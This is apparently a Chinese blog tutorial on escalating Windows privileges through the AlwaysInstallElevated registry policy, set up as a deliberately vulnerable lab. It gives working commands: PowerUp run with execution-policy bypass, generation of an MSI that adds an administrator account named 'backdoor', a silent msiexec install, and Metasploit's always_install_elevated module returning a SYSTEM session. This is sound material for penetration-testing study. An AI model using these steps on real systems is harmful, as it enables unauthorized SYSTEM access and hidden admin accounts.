[windows提权] 注册表AlwaysInstallElevated提权

简介: 注册表AlwaysInstallElevated是策略设置项,允许低权限用户以system权限运行安装文件,powerup中的Get-RegistryAlwaysInstallElevate模块可用来检查注册表键是否被设置。如果为Ture就证明是以system权限运行的,可提权。

一、提权简介

注册表AlwaysInstallElevated是策略设置项,允许低权限用户以system权限运行安装文件,powerup中的Get-RegistryAlwaysInstallElevate模块可用来检查注册表键是否被设置。如果为Ture就证明是以system权限运行的,可提权。



二、漏洞环境配置

①"运行"中输入gpedit.msc,打开组策略管理器

②计算机配置-->管理模板-->Windows 组件-->Windows Installer


③将"永远以高特权进行安装"编辑,选择开启


④用户配置-->管理模板-->Windows 组件-->Windows Installer中的"永远以高特权进行安装"编辑,也同样选择开启



三、提权操作

-使用powerup进行提权:

①以本地加载方式运行powerup,需要上传powerup.ps1到目标


powershell -exec bypass "import-module .\powerup.ps1;Get-RegistryAlwaysInstallElevated"

返回为Ture,存在提权漏洞


②利用Write-UserAddMSI模块生成msi文件


powershell -exec bypass "import-module .\powerup.ps1;Write-UserAddMSI"

可以看到在当前目录下成功生成msi文件


③以普通用户身份运行此msi文件


msiexec.exe /quiet /qn /i UserAdd.msi

成功添加用户backdoor,权限为管理员



-使用MSF进行提权:

MSF的exploit/windows/local/always_install_elevate模块可以自动完成提权操作,会创建一个随机文件名的msi文件,并在提权成功后删除此mai文件,攻击成功会返回system权限会话


①首先拿到一个不是最高权限的会话


getuid


②利用对应模块进行提权




use exploit/windows/local/always_install_elevatedset session 4run


攻击成功,返回了session 5


③查看session5的权限


getuid

成功提权至system

目录
相关文章
|
8月前
|
Windows
Windows注册表维护与优化
Windows注册表维护与优化
47 0
|
8月前
|
Windows
Windows注册表基础
Windows注册表基础
35 0
|
9月前
|
安全 关系型数据库 MySQL
windows提权总结
windows提权总结
226 1
|
3月前
|
安全 Windows
Windows提权辅助工具
Windows提权辅助工具
61 1
|
8月前
|
安全 Windows
Windows提权/杀软进程在线对比
Windows提权/杀软进程在线对比
294 0
Windows提权/杀软进程在线对比
|
8月前
|
安全 Shell 测试技术
Windows提权EXP多种执行方式
Windows提权EXP多种执行方式
123 0
|
5月前
|
监控 安全 API
6.8 Windows驱动开发:内核枚举Registry注册表回调
在笔者上一篇文章`《内核枚举LoadImage映像回调》`中`LyShark`教大家实现了枚举系统回调中的`LoadImage`通知消息,本章将实现对`Registry`注册表通知消息的枚举,与`LoadImage`消息不同`Registry`消息不需要解密只要找到`CallbackListHead`消息回调链表头并解析为`_CM_NOTIFY_ENTRY`结构即可实现枚举。
54 1
6.8 Windows驱动开发:内核枚举Registry注册表回调
|
5月前
|
监控 安全 API
7.5 Windows驱动开发:监控Register注册表回调
在笔者前一篇文章`《内核枚举Registry注册表回调》`中实现了对注册表的枚举,本章将实现对注册表的监控,不同于32位系统在64位系统中,微软为我们提供了两个针对注册表的专用内核监控函数,通过这两个函数可以在不劫持内核API的前提下实现对注册表增加,删除,创建等事件的有效监控,注册表监视通常会通过`CmRegisterCallback`创建监控事件并传入自己的回调函数,与该创建对应的是`CmUnRegisterCallback`当注册表监控结束后可用于注销回调。
45 0
7.5 Windows驱动开发:监控Register注册表回调
|
5月前
|
存储 API 数据库
C/C++ 实现Windows注册表操作
Windows注册表(Registry)是Windows操作系统中用于存储系统配置信息、用户设置和应用程序数据的一个集中式数据库。它是一个层次结构的数据库,由键(Key)和值(Value)组成,这些键和值被用于存储各种系统和应用程序的配置信息。
53 0
|
5月前
|
存储 安全 API
8.5 Windows驱动开发:内核注册表增删改查
注册表是Windows中的一个重要的数据库,用于存储系统和应用程序的设置信息,注册表是一个巨大的树形结构,无论在应用层还是内核层操作注册表都有独立的API函数可以使用,而在内核中读写注册表则需要使用内核装用API函数,如下将依次介绍并封装一些案例,实现对注册表的创建,删除,更新,查询等操作。在Windows内核中,注册表是一种存储系统配置信息的机制,包括应用程序、硬件、驱动程序和操作系统的各种设置。内核提供了一些API函数,可以让驱动程序通过代码访问和修改注册表,以实现系统的配置和管理。下面简单介绍一下内核中的注册表增删改查操作:
41 0
8.5 Windows驱动开发:内核注册表增删改查

热门文章

最新文章